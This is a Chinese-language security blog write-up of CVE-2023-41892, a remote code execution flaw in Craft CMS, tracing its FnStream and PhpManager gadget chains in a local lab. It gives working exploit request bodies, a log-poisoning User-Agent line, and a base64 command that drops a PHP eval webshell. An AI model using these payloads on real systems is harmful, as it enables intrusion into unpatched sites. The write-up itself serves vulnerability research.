Craft CMS远程代码执行漏洞

# Craft CMS远程代码执行漏洞 ## 漏洞简介 **漏洞编号:CVE-2023-41892** Craft CMS是一个创建数字体验的平台。这是一种高影响、低复杂性的攻击媒介。建议在 4.4.15 之前运行 Craft 安...

Craft CMS远程代码执行漏洞

漏洞简介

漏洞编号:CVE-2023-41892

Craft CMS是一个创建数字体验的平台。这是一种高影响、低复杂性的攻击媒介。建议在 4.4.15 之前运行 Craft 安装的用户至少更新到该版本以缓解此问题。Craft CMS<4.4.15 版本存在远程代码执行 (RCE)漏洞,攻击者通过在受攻击系统上执行恶意命令,从而获取未授权的系统访问权限。此问题已在 4.4.15 中修复。

影响版本

4.0.0-RC1 <= Craft CMS <= 4.4.14

环境搭建

测试工具:phpstudy+vscode,测试版本:Craft CMS4.4.14 + php8.0.2 + MySQL5.7.26

源码链接:https://github.com/craftcms/cms/releases/

打开phpstudy创建网站以及数据库

image-20240902201223309.png

把下载的源码复制到网站对应根目录下,打开整个项目文件夹

然后打开composer

image-20240902201850168.png

执行以下命令

php craft setup

不过出现报错,找不到类

image-20240902202252956.png

打开php.ini配置文件添加以下内容即可

extension=php\_intl.dll

继续安装,输入配置数据库信息以及用户名(xdebug的问题忽略)

访问http://craftcms/web/index.php,搭建成功

image-20240902202642408.png

漏洞利用

FnStream类

全局搜索__construct()进行查找,最终在FnStream类找到,并且call_user_func()可控

漏洞复现

POST传参

action=conditions/render&configObject=craft\\elements\\conditions\\ElementCondition&config={"name":"configObject","as ":{"class":"\\\\GuzzleHttp\\\\Psr7\\\\FnStream","\_\_construct()":\[{"close":null}\],"\_fn\_close":"phpinfo"}}

执行结果如下

image-20240903154331447.png

漏洞分析

我们查看官方报告,补丁文件在src/controllers/ConditionsController.phpbeforeAction()方法

image-20240903153631438.png

首先接收请求参数config并对json数据解码,然后把name键名的值赋值给$config

然后调用ArrayHelper类的remove()方法,我们跟进一下发现最终是继承的BaseArrayHelper类,remove()方法移除new-rule-type的元素,接着调用getConditions()方法获取条件服务对象,再调用createCondition()方法创建条件对象

image-20240903163348346.png

再第42行下断点一步步调试,这里传进去的参数分别为ElementCondition类和恶意代码数组

image-20240903164144044.png

跟进一下,这里foreach遍历$properties数组给$object对象属性赋值(即ElementCondition类)

public static function configure($object, $properties)  
{  
    foreach ($properties as $name \=> $value) {  
        $object\->$name \= $value;  
    }  
​  
    return $object;  
}

先为$name$value赋完值,然后由于不存在as键名,那么给不存在的属性赋值就会触发__set()魔术方法,我们往上查找ElementCondition类是继承哪个父类

ElementCondition -> BaseCondition -> Component

最终在\vendor\yiisoft\yii2\base\Component.php找到__set()方法

image-20240903203851372.png

这里将as与set拼接后不存在此方法,由于属性名为as直接进入到第188行的elseif语句。然后如果 $value 是一个 Behavior 实例,直接使用;否则调用 Yii::createObject() 方法创建实例,跟进一下

image-20240903205612642.png

直接看向第362行,这里将class键名就赋值给$class然后删除数组中的class键,继续调用Container::get()方法

image-20240903211917554.png

由于FnStream类不是Instance类的子类,并且不存在$_singletons[$class]键,所以进入elseif语句调用build()方法

image-20240903221718543.png

这里先调用getDependencies()方法,继续跟进

image-20240903221758762.png

_reflections类的键不存在该类,执行try语句对FnStream类实例化。往下看然后调用getConstructor()方法,最后return返回值

image-20240903222729094.png

回到Container::build(),如果存在__construct()键,赋值给$addDependencies然后删除。往下跟进到第422行

$object = $reflection->newInstanceArgs($dependencies);

调用newInstanceArgs()实例化(即是FnStream类),继续跟进

image-20240904000055673.png

遍历$methods数组,将$name_fn_进行拼接,使得FnStream类出现_fn_close属性并且值为null

回到build()方法,遍历数组config数组赋值,返回object对象

image-20240904000406273.png

一步步调试跟进,最后调用__destruct()魔术方法,由于存在$_fn_close属性成功执行phpinfo

image-20240904000447823.png

PhpManager类

POP链跟的前面部分和利用FnStream类的链差不多,都是经过以下部分去实例化类,区别在于利用的类不同

ConditionsController::beforeAction() -> Component::__set() -> Container::get() -> Container::build()

漏洞复现

先利用hackbar写入恶意代码到日志文件

User-Agent: <?php phpinfo();?>

然后日志文件包含即可

action=conditions/render&configObject=craft\\elements\\conditions\\ElementCondition&config={"name":"configObject","as ":{"class":"\\\\yii\\\\rbac\\\\PhpManager","\_\_construct()":\[{"assignmentFile":"D:/phpstudy\_pro/WWW/craftcms/storage/logs/web-2024-09-04.log"}\]}}

image-20240904220349458.png

注意这里的assignmentFile是PhpManager类的属性,换成其他属性也行。还有就是需要完整日志路径,不然会报错。进一步利用的话由于单双引号会被反斜杠转义,考虑直接使用反引号命令执行

User-Agent: <?php \`echo PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=|base64 -d > shell.php\`;?>

漏洞分析

前面链子一样我们就不分析了,直接跟进到Container::getDependencies()`的第507行

image-20240905215531196.png

$class值为\yii\rbac\PhpManager,所以进行实例化PhpManager类

调用init()方法初始化

public function init()  
{  
    parent::init();  
    $this\->itemFile \= Yii::getAlias($this\->itemFile);  
    $this\->assignmentFile \= Yii::getAlias($this\->assignmentFile);  
    $this\->ruleFile \= Yii::getAlias($this\->ruleFile);  
    $this\->load();  
}

这里出现了load()方法,跟进一下

image-20240905215758627.png

定义了空数组,然后调用loadFromFile()并传参进行赋值,继续跟进

protected function loadFromFile($file)  
{  
    if (is\_file($file)) {  
        return require $file;  
    }  
​  
    return \[\];  
}

对传进来的文件进行判断,文件包含并返回执行结果

我们ctrl加左键查看下传进去的参数,发现都可控那么就可以尝试进行包含恶意代码

image-20240905220150968.png

哪些文件可以被我们注入恶意代码并且用来文件包含呢,我们查看下官方文档,注意到在目录storage/logs/下存在文件web-[Y-m-d].log,按照年月日命名并且里面存储了web的请求内容,我们直接包含这个文件即可实现RCE

image-20240905220430602.png

  • 发表于 2024-09-10 08:30:02
  • 阅读 ( 11005 )
  • 分类:CMS

0 条评论

请先 登录 后评论
rev1ve
rev1ve

1 篇文章

站长统计